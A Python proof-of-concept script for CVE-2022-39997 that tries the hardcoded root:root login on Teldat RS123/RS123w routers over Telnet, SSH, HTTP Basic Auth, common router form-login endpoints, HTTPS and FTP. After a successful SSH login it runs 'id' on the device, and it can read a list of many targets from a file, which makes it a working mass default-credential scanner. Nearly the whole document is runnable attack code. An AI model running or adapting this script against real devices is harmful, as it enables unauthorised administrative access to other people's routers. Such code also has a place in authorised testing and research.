#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2022-39997 - Teldat Router (RS123/RS123w) Weak Password POC Description: Teldat RS123/RS123w routers ship with hardcoded default credentials (root:root) that many administrators never change. This allows unauthenticated attackers to gain full administrative access. CWE: CWE-521 (Weak Password Requirements) CVSS: 9.8 (Critical) Severity: Critical Affected Versions: - Teldat RS123 - Teldat RS123w Usage: python CVE-2022-39997.py -t 192.168.1.1 python CVE-2022-39997.py -t 192.168.1.1 --timeout 10 python CVE-2022-39997.py -f targets.txt """ import argparse import sys import requests import telnetlib import paramiko import socket import time from urllib.parse import urljoin # Disable SSL warnings requests.packages.urllib3.disable_warnings() DEFAULT_USERNAME = "root" DEFAULT_PASSWORD = "root" DEFAULT_TIMEOUT = 5 BANNER = r""" _____ _ _ _____ _____ _____ _____ _____ _____ _____ _____ _____ ______ / __ \ | | | ___| / __ \| _ |/ __ \/ __ \ |____ || _ || _ || _ ||___ / | / \/ | | | |__ ______`' / /'| |/' |`' / /'`' / /'______ / /| |_| || |_| || |_| | / / | | | | | | __|______| / / | /| | / / / / |______| \ \\____ |\____ |\____ | / / | \__/\ \_/ / |___ ./ /___\ |_/ /./ /___./ /___ .___/ /.___/ /.___/ /.___/ /./ / \____/\___/\____/ \_____/ \___/ \_____/\_____/ \____/ \____/ \____/\____/ \_/ """ def check_http(target, port, use_ssl=False, path="/", username=None, password=None): """ Attempt HTTP Basic Authentication or form-based login with default credentials. """ protocol = "https" if use_ssl else "http" url = f"{protocol}://{target}:{port}{path}" username = username or DEFAULT_USERNAME password = password or DEFAULT_PASSWORD results = [] # --- HTTP Basic Auth --- try: r = requests.get( url, auth=(username, password), timeout=DEFAULT_TIMEOUT, verify=False, ) if r.status_code == 200: results.append(f"[+] HTTP Basic Auth ({url}) - SUCCESS (root:root)") print(f" [!] Response length: {len(r.text)} bytes") elif r.status_code == 401: results.append(f"[-] HTTP Basic Auth ({url}) - 401 Unauthorized") else: results.append(f"[*] HTTP Basic Auth ({url}) - Status: {r.status_code}") except requests.exceptions.ConnectionError: results.append(f"[-] HTTP ({url}) - Connection refused") except requests.exceptions.Timeout: results.append(f"[-] HTTP ({url}) - Timeout") except Exception as e: results.append(f"[-] HTTP ({url}) - Error: {e}") # --- Form-based login (common router endpoints) --- login_endpoints = [ "/login.cgi", "/cgi-bin/login", "/goform/login", "/login.html", "/index.html", "/admin/login", ] for endpoint in login_endpoints: try: login_url = urljoin(url, endpoint) # Try common POST parameter names data = {"username": username, "password": password} r = requests.post( login_url, data=data, timeout=DEFAULT_TIMEOUT, verify=False, allow_redirects=False, ) if r.status_code in [200, 302] and "error" not in r.text.lower(): # Check if we got a session cookie or redirect if r.status_code == 302 or "Set-Cookie" in str(r.headers): results.append( f"[+] Form Login ({login_url}) - Possible SUCCESS (root:root)" ) break except Exception: continue return results def check_telnet(target, port=23, username=None, password=None): """ Attempt Telnet login with default credentials. """ username = username or DEFAULT_USERNAME password = password or DEFAULT_PASSWORD try: tn = telnetlib.Telnet(target, port, timeout=DEFAULT_TIMEOUT) # Wait for login prompt idx, match, text = tn.expect( [b"login:", b"Login:", b"Username:", b"username:", b"user:"], timeout=DEFAULT_TIMEOUT, ) tn.write(username.encode("ascii") + b"\n") # Wait for password prompt idx, match, text = tn.expect( [b"Password:", b"password:", b"Passwd:"], timeout=DEFAULT_TIMEOUT ) tn.write(password.encode("ascii") + b"\n") # Wait a moment and read response time.sleep(1) output = tn.read_very_eager().decode("ascii", errors="ignore") tn.close() # Check if we got a shell prompt or error if "login incorrect" in output.lower() or "access denied" in output.lower(): return [f"[-] Telnet ({target}:{port}) - Login failed (wrong credentials)"] elif "#" in output or ">" in output or "$" in output: return [f"[+] Telnet ({target}:{port}) - SUCCESS (root:root) - Got shell!"] elif "login:" in output.lower() or "password:" in output.lower(): return [ f"[-] Telnet ({target}:{port}) - Login failed (credentials rejected)" ] else: return [ f"[+] Telnet ({target}:{port}) - Possible SUCCESS (root:root)" f"\n Output: {output[:200]}" ] except (socket.timeout, ConnectionRefusedError, TimeoutError): return [f"[-] Telnet ({target}:{port}) - Connection failed"] except EOFError: return [f"[-] Telnet ({target}:{port}) - Connection closed by host"] except Exception as e: return [f"[-] Telnet ({target}:{port}) - Error: {e}"] def check_ssh(target, port=22, username=None, password=None): """ Attempt SSH login with default credentials. """ username = username or DEFAULT_USERNAME password = password or DEFAULT_PASSWORD try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect( target, port=port, username=username, password=password, timeout=DEFAULT_TIMEOUT, allow_agent=False, look_for_keys=False, ) # Execute a simple command to verify stdin, stdout, stderr = client.exec_command("id", timeout=DEFAULT_TIMEOUT) output = stdout.read().decode("utf-8", errors="ignore").strip() client.close() return [ f"[+] SSH ({target}:{port}) - SUCCESS (root:root)" f"\n Command 'id' output: {output[:200]}" ] except paramiko.AuthenticationException: return [f"[-] SSH ({target}:{port}) - Authentication failed"] except (socket.timeout, TimeoutError): return [f"[-] SSH ({target}:{port}) - Timeout"] except ConnectionRefusedError: return [f"[-] SSH ({target}:{port}) - Connection refused"] except Exception as e: return [f"[-] SSH ({target}:{port}) - Error: {e}"] def check_ftp(target, port=21, username=None, password=None): """ Attempt FTP login with default credentials. """ from ftplib import FTP username = username or DEFAULT_USERNAME password = password or DEFAULT_PASSWORD try: ftp = FTP() ftp.connect(target, port, timeout=DEFAULT_TIMEOUT) ftp.login(username, password) ftp.quit() return [f"[+] FTP ({target}:{port}) - SUCCESS (root:root)"] except Exception as e: error_msg = str(e).lower() if "530" in error_msg or "login" in error_msg or "auth" in error_msg: return [f"[-] FTP ({target}:{port}) - Login failed"] return [f"[-] FTP ({target}:{port}) - Connection failed"] def main(): parser = argparse.ArgumentParser( description="CVE-2022-39997 - Teldat Router Weak Password POC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python CVE-2022-39997.py -t 192.168.1.1 python CVE-2022-39997.py -t 192.168.1.1 --timeout 10 python CVE-2022-39997.py -t 192.168.1.1 --all python CVE-2022-39997.py -f targets.txt """, ) parser.add_argument( "-t", "--target", help="Target IP address or hostname" ) parser.add_argument( "-f", "--file", help="File containing list of targets (one per line)" ) parser.add_argument( "-u", "--username", default=DEFAULT_USERNAME, help="Username (default: root)" ) parser.add_argument( "-p", "--password", default=DEFAULT_PASSWORD, help="Password (default: root)" ) parser.add_argument( "--timeout", type=int, default=DEFAULT_TIMEOUT, help="Connection timeout in seconds" ) parser.add_argument( "--all", action="store_true", help="Check all services (Telnet, SSH, HTTP, HTTPS, FTP)", ) parser.add_argument( "--http-port", type=int, default=80, help="HTTP port (default: 80)" ) parser.add_argument( "--ssl-port", type=int, default=443, help="HTTPS port (default: 443)" ) args = parser.parse_args() if not args.target and not args.file: parser.print_help() sys.exit(1) print(BANNER) print("CVE-2022-39997 | Teldat Router Weak Password (root:root)") print(f"CWE-521 | CVSS 9.8 (Critical)") print("=" * 60) # Build target list targets = [] if args.target: targets.append(args.target.strip()) if args.file: try: with open(args.file, "r") as f: for line in f: line = line.strip() if line and not line.startswith("#"): targets.append(line) except FileNotFoundError: print(f"[!] File not found: {args.file}") sys.exit(1) for target in targets: print(f"\n[*] Testing target: {target}") print("-" * 40) results = [] # Telnet (common on embedded routers) print("[*] Checking Telnet (port 23)...") results.extend(check_telnet(target, username=args.username, password=args.password)) # SSH print("[*] Checking SSH (port 22)...") results.extend(check_ssh(target, username=args.username, password=args.password)) # HTTP / HTTPS print("[*] Checking HTTP (port 80)...") results.extend( check_http( target, args.http_port, username=args.username, password=args.password, ) ) if args.all: print("[*] Checking HTTPS (port 443)...") results.extend( check_http( target, args.ssl_port, use_ssl=True, username=args.username, password=args.password, ) ) print("[*] Checking FTP (port 21)...") results.extend( check_ftp(target, username=args.username, password=args.password) ) # Print results print("\n[*] Results:") for result in results: print(f" {result}") # Summary success = any("[+]" in r for r in results) if success: print(f"\n[!!!] VULNERABLE: {target} - Weak default credentials (root:root)") else: print(f"\n[*] {target} - Not vulnerable or unreachable via tested services") if __name__ == "__main__": main()